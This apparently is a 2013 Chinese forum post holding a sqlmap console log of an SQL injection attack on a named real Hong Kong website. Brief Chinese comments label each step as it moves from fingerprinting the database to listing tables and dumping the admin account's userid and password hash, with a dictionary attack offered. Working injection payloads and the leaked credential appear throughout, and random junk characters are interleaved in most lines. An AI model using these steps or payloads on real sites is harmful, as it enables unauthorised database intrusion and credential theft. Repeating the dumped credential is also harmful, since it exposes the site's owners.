D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db# Z+ y- D$ E' Q, J I
ms "Mysql" --current-user /* 注解：获取当前用户名称
7 Z2 ^; ^6 G+ y! S sqlmap/0.9 - automatic SQL injection and database takeover tool
+ i) i4 |% @8 x7 V http://sqlmap.sourceforge.net starting at: 16:53:54
2 ~' E' D$ f0 P( e7 A9 K[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as# R9 L. X4 U. {. ]4 I3 B
session file. |' ^2 m/ E; W4 R9 Y5 z4 J
[16:53:54] [INFO] resuming injection data from session file
: n4 k/ b+ y4 E/ W& j, i% @[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
: C m$ H) _ h- |2 [[16:53:54] [INFO] testing connection to the target url2 ^8 V& \: y6 L/ G) i3 c6 Y
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
1 n# L' K& z& e% v. tsts:' F# K- Y6 O* w* w- M; C/ K1 I
---; A9 M2 [5 \% b9 `9 b4 H9 M. l
Place: GET m( j( V6 h2 J5 c( N$ r8 k
Parameter: id
( d' L+ E2 s0 ?; q- ?& o. l; s: o Type: boolean-based blind
5 r' I9 `9 J- | [) L/ @ Title: AND boolean-based blind - WHERE or HAVING clause5 O% W) K) ]' d8 ~
Payload: id=276 AND 799=799
& B. t$ K* L* e& r1 F: G Type: error-based, G, ]" q9 F! X7 Z
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause( d; L: K. C& k; `, B: O
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
5 R: Y2 @6 d/ C120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
/ I8 ?+ X- R2 K/ x),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
; T0 E; l- U) _/ z7 U# @$ Y: G Type: UNION query0 r2 {9 v" B6 ~% K7 I7 t
Title: MySQL UNION query (NULL) - 1 to 10 columns( ?3 z v! [0 r, F
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR, Z+ r6 v6 ^- p. Y# _, N
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR), g) p2 I0 a6 F9 T# k0 ]
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
: F& V' a9 i$ G" O7 \1 | Type: AND/OR time-based blind E, h6 d6 D) z h, G3 n
Title: MySQL > 5.0.11 AND time-based blind+ c9 |9 W3 k- b9 J i0 O1 o) s
Payload: id=276 AND SLEEP(5)
5 G: }' ~% E6 c6 m" L! @---0 e% p, D' k- W' P
[16:53:55] [INFO] the back-end DBMS is MySQL
, }9 t: x. O: U9 ]* Q2 v: ^web server operating system: Windows
$ Q+ v1 C1 N0 \ @% D/ R. w) Gweb application technology: Apache 2.2.11, PHP 5.3.0
' H$ I- F7 r; ^back-end DBMS: MySQL 5.0
5 h7 B" q! s0 M% P0 [* u[16:53:55] [INFO] fetching current user9 o2 j# _' E3 {3 |) E) b& g" Q
current user: 'root@localhost' ; Q, Y" Q2 D3 w; I% R
[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
( h4 _/ T4 M8 t/ z/ ^tput\www.wepost.com.hk' shutting down at: 16:53:58$ E& x% u, L$ E# H3 x
$ \( s8 G7 s! F, j0 c$ Y3 B2 @4 L% hD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db8 Z& r9 X$ a4 `" o% ?
ms "Mysql" --current-db /*当前数据库1 T* g" R8 ^+ `" q+ }
sqlmap/0.9 - automatic SQL injection and database takeover tool( b% ^/ z- b4 R
http://sqlmap.sourceforge.net starting at: 16:54:16
) M, E$ T- s; B4 }: F[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
7 Y' k8 } O6 K* G7 d session file ?- `+ } u0 N
[16:54:16] [INFO] resuming injection data from session file2 a" }% ^. \! j2 w
[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
9 k! `0 w- I v9 _) W[16:54:16] [INFO] testing connection to the target url9 R! z7 l1 {" @$ c# }
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
^4 I7 f2 |2 k' ~/ \0 Ssts:6 l- M- ~/ e/ E) ~! n' }, q
---+ q V( R, c8 H. }" S s
Place: GET6 B+ T5 o5 ^% p ]; U# J3 S
Parameter: id
7 N5 L+ F7 e* |; S n* l, S Type: boolean-based blind6 Z. a* T& K) b6 W0 M# U' @
Title: AND boolean-based blind - WHERE or HAVING clause
7 R8 P7 s# K4 T9 G8 T9 _, {! d! a# o Payload: id=276 AND 799=799
) w1 c) W7 ?; \# A Type: error-based
/ h! ^. A2 ?' g1 ?# G/ {% _ Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
- x. C( n) f( ]% h9 o Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
, t$ Q" ~5 g& h" W' b120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58- }, }) n& ~% w' A
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)9 W8 A) P: W- Z2 ]9 m K8 G, I. r! r
Type: UNION query
3 s; d# u" n! p( l( Z Title: MySQL UNION query (NULL) - 1 to 10 columns) m+ A; |) d/ y
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR6 ]+ u5 j7 j/ F
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),6 X7 y6 U# G% f" l9 `. d. h5 q
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#3 ^ F1 |5 D3 a* `2 K [7 G0 Y
Type: AND/OR time-based blind
% _7 z4 u/ u" M5 l Title: MySQL > 5.0.11 AND time-based blind
0 Z- Y+ x. q8 I0 W3 t Payload: id=276 AND SLEEP(5)
+ v. c7 n# @, `" w! {( Y. q3 I---
; h" ?/ X0 H! W- {! g( L9 w[16:54:17] [INFO] the back-end DBMS is MySQL
; V" f! [+ j5 Q6 o7 o( Cweb server operating system: Windows
7 o! ?- @1 Y; |8 z4 b0 x( a' zweb application technology: Apache 2.2.11, PHP 5.3.0
4 o# h9 Y1 D( x) I& h6 _back-end DBMS: MySQL 5.01 X; e. u- c. C1 }4 t1 b9 a# d
[16:54:17] [INFO] fetching current database; w' l3 ^) _1 }9 @
current database: 'wepost'( ^9 f5 Y y- B; ]) E5 n
[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
. y; |% I" t! q' w3 Wtput\www.wepost.com.hk' shutting down at: 16:54:18% H: \' u4 D$ \! U! `
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
/ T, J! ?& ^/ L" q3 jms "Mysql" --tables -D "wepost" /*获取当前数据库的表名
3 f! d( y" r7 y% E sqlmap/0.9 - automatic SQL injection and database takeover tool) d: ^5 c1 Q# x; } H3 Q
http://sqlmap.sourceforge.net starting at: 16:55:25
3 ~: q/ g1 m2 \5 Y" n- V6 T[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as( Q# q8 U* J% ^
session file: N3 A% v% i) A Y2 W$ S
[16:55:25] [INFO] resuming injection data from session file# E0 Y/ ?9 b/ R; X! U# O
[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file8 m; Z! a2 ]5 E9 R3 P! _
[16:55:25] [INFO] testing connection to the target url* X6 X- J, Z5 D2 e6 ` p
sqlmap identified the following injection points with a total of 0 HTTP(s) reque3 D5 `( `4 |1 k$ m5 Y5 B9 ]
sts:# X- U# x. F F7 V- P$ h3 y: Q( Z a9 y
---
9 _$ ^$ s/ @: \, {Place: GET7 u: @6 a/ m3 M8 N8 k
Parameter: id
) W3 [% v" ?, j9 A4 U9 Q0 p& p Type: boolean-based blind. y4 M" f4 p |$ B/ A1 X
Title: AND boolean-based blind - WHERE or HAVING clause
8 [5 n6 ~5 h, R1 Z3 ~0 v Payload: id=276 AND 799=799. d9 A; J! K7 I- g
Type: error-based' I( d8 k$ w1 M) B, s7 J
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause1 O; N6 r% J0 z% P" W
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
! `/ X9 C) ?2 ^3 j" F* L: W7 g$ b120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
4 I1 P, F0 L% P7 d/ k),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)9 v7 a3 [4 ^) {3 n' D: f z. B" v
Type: UNION query) O5 G! z* Y# z- X
Title: MySQL UNION query (NULL) - 1 to 10 columns
' i. [% N1 i6 W+ a6 S8 h6 I. _ Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
0 o* Z5 o f: s! P4 ~8 c; Z3 D(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
" T$ i8 [3 k+ j; y. D2 K- {2 l2 nCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
6 }; d. f- A1 K! p3 a) i3 q D% A Type: AND/OR time-based blind& j8 I5 Y- y; O+ P( F
Title: MySQL > 5.0.11 AND time-based blind
) f" h$ O8 J. L6 n2 } Payload: id=276 AND SLEEP(5)/ Y: h8 s' ~! d, e7 H$ O9 i, P
---; |- P, ?7 B8 v7 {
[16:55:26] [INFO] the back-end DBMS is MySQL
3 R2 E8 W0 c( T8 `: g7 q/ _web server operating system: Windows
- E: y' m! p* m, S' {" Nweb application technology: Apache 2.2.11, PHP 5.3.0- \# y. u7 X0 Z$ V* p
back-end DBMS: MySQL 5.0
; y8 J) C1 L( L; Z' y& g[16:55:26] [INFO] fetching tables for database 'wepost'
: C1 J( ]8 ?! @) z5 J[16:55:27] [INFO] the SQL query used returns 6 entries3 j! w4 U' J0 v4 H, }+ l
Database: wepost( `" r& G* w& b8 S- D" O
[6 tables]
, A8 `! |* G5 Q/ t6 c+-------------+
5 R3 m' [2 S5 K$ u$ c| admin |
2 u9 m+ H3 n- w4 _* q| article |
8 Y1 [/ W1 n3 d; n& `7 m' C Q| contributor |
8 N3 `' ^$ |3 P# f) M ~- \2 ^| idea |% ^$ @% r$ I- l6 Y
| image |3 P1 c2 |- s4 [
| issue |0 F( v" e/ p3 X. P8 Y: o9 B
+-------------+
. n# s1 U/ t/ A4 ?; W[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou! n3 D" T0 A& O5 ~1 w( G D
tput\www.wepost.com.hk' shutting down at: 16:55:33
/ v, u5 s5 w; Y+ Q2 }. Z8 H P) t" b! w
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
3 [" ~+ o+ Z) ems "Mysql" --columns -T "admin" users-D "wepost" -v 0 /*获取admin表的字段名; d+ T; c3 `, L+ k1 s5 s z3 x+ \
sqlmap/0.9 - automatic SQL injection and database takeover tool
& M8 I' i& d7 w( \+ l http://sqlmap.sourceforge.net starting at: 16:56:064 A6 Y# }6 R k1 N. [" a$ w2 p" A( r
sqlmap identified the following injection points with a total of 0 HTTP(s) reque4 A' c+ f% c5 b) ?
sts:
' U! F& f+ v' O9 H---
' t9 v1 n$ u1 j0 i* t5 _Place: GET! _9 O' Y/ A7 K; p7 K3 s7 o
Parameter: id
4 \1 r2 D7 O& w# p Type: boolean-based blind
# t8 O& G" ]& `! b3 Q0 b3 S Title: AND boolean-based blind - WHERE or HAVING clause' t9 t! u( K- ?1 r2 ]3 h
Payload: id=276 AND 799=7992 M4 O4 J2 s# x* R }" h/ ^' _
Type: error-based
* q9 H, d, D3 E! c! I Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
* q0 F+ M0 Y2 O6 f, ^: c/ ?# C Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118," H' k) _/ o6 s/ b$ f
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58' k' t& l1 S, Q2 h
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)9 w% b, q* _0 O8 [2 [' Y
Type: UNION query
, Q) ]6 u) K, ^) p; T; f Title: MySQL UNION query (NULL) - 1 to 10 columns- @ G1 a# k" `% y) ^( {- x) ?
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR2 |' u% h; W7 d% |: [: i0 W* u
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
; \# O$ e' H; s4 I1 f! \CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
. C) [4 c# f: w& _ Type: AND/OR time-based blind
/ h( L, l# Q3 Z8 O9 W$ a! l Y; E+ B Title: MySQL > 5.0.11 AND time-based blind: d1 r- y6 Z0 Y* N: k+ n& v" H
Payload: id=276 AND SLEEP(5)! |. Y5 { F, X: x1 K
---
; y( D- N+ y r0 P" K6 [0 Fweb server operating system: Windows
/ p9 t' ` D- r$ S/ I1 H) \$ {$ uweb application technology: Apache 2.2.11, PHP 5.3.0
- T2 _8 p4 \" u M, s% m& i6 V1 j# \back-end DBMS: MySQL 5.0# E0 D8 Q- E8 p' B
[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se+ @( y, d" ]+ s6 P4 d3 b
ssion': wepost, wepost
8 T/ [# W( ~& {Database: wepost: N0 y1 Y( B- }- V# m
Table: admin
7 P9 ?) _2 x( \[4 columns], P. F4 R& Y+ x z1 P9 P/ J
+----------+-------------+1 S3 M! ~- B7 k
| Column | Type |
5 R+ A) A+ i& x6 @* ~( F6 R' E+----------+-------------+8 V. r3 }8 ~5 E% H
| id | int(11) |& T* s% P' ]6 {' C
| password | varchar(32) |, u, M' e8 F) p% T: H
| type | varchar(10) |% T: p X. F* J3 w9 }7 F9 A) G& |
| userid | varchar(20) |
J9 v/ J, v1 _* e! S+----------+-------------+% E5 s- e5 s$ Y: C+ d' ~
shutting down at: 16:56:19
- _5 i/ ~- K! i u" i9 ~0 @* |
7 P% a* x6 r8 R+ v; i8 f) L5 U) ^5 [D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db: u$ n% B9 u [8 Z
ms "Mysql" --dump -C "userid,password" -T "admin" -D "wepost" -v 0 /*获取字段里面的内容( }: _" {. i8 a% m3 c
sqlmap/0.9 - automatic SQL injection and database takeover tool
N2 J0 H8 u Y: d0 g+ u' T* V$ U http://sqlmap.sourceforge.net starting at: 16:57:14' r) b' H4 {) y8 g& @- l/ ?/ B
sqlmap identified the following injection points with a total of 0 HTTP(s) reque$ z& s, M# S) x8 ?' M4 A
sts:
$ Q O4 ~! T" s8 F" G& z---3 y! _+ p9 H8 y
Place: GET, _! \5 V" O' H3 l. e6 `$ x5 ^
Parameter: id
4 K4 z: a# r6 U2 m& c7 r0 a Type: boolean-based blind9 O" [ k7 o! d
Title: AND boolean-based blind - WHERE or HAVING clause
* [( \- B* L# D% K5 u Payload: id=276 AND 799=7993 N. R5 g) D, T+ A% a- p# g
Type: error-based' X# }, Y0 o) ~4 \8 W! s
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
# Y! ~! i4 I! M) E Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,. K$ z/ d9 B+ N. M1 z: X- }
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,587 s0 A/ r' p1 K- e' m2 {
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
9 p9 R7 P- x' a3 ^. Z6 y2 M Type: UNION query
Q+ x0 r5 x- N! C& R Title: MySQL UNION query (NULL) - 1 to 10 columns4 x3 J, x. D; t
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
% S2 U1 Z; d, B2 B( X(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
! j+ T5 J" R: LCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
6 y4 f# [8 Z" n0 T Type: AND/OR time-based blind; ^4 r9 d9 z: [
Title: MySQL > 5.0.11 AND time-based blind7 u. l! @5 f; {6 Z) s
Payload: id=276 AND SLEEP(5)
* A8 V3 E, D; [: V---; L0 \1 H. H( P2 [& o
web server operating system: Windows
2 O& z$ O+ s2 oweb application technology: Apache 2.2.11, PHP 5.3.0; ~6 g% Z% {1 n: C; S2 R* ?
back-end DBMS: MySQL 5.0
" N5 P; J* U$ D0 g, e6 orecognized possible password hash values. do you want to use dictionary attack o
- K) X/ E; X; Jn retrieved table items? [Y/n/q] y1 y$ h/ E+ u* v) X* A+ p
what's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]
U9 M+ }$ f3 ~ Z4 Rdo you want to use common password suffixes? (slow!) [y/N] y
/ Y7 j! C$ O9 }, y, U1 j. Q; KDatabase: wepost
+ K3 r. U. V8 dTable: admin
. H0 O' s3 M# {+ d. e8 y[1 entry]/ \4 O2 a* a& T" G" i7 C9 m: q( O
+----------------------------------+------------+8 G/ b( L ?% Q5 k8 `4 O. ^ P7 \! y
| password | userid |3 A T+ H0 \( j7 Y; K4 O
+----------------------------------+------------+
8 U( U4 [, F: D' T: A| 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |
) I, \1 a4 D: e9 G# R, }+ Y3 C+----------------------------------+------------+
@' g1 `# [, O+ A& D8 n T- ?) X3 K shutting down at: 16:58:14
9 ~1 }. D& `/ H. V- ]- ?/ P' e
. p( c. f1 j6 d3 D6 k/ Q9 AD:\Python27\sqlmap> |
发表于 2013-4-4 22:18:49
收藏
支持
反对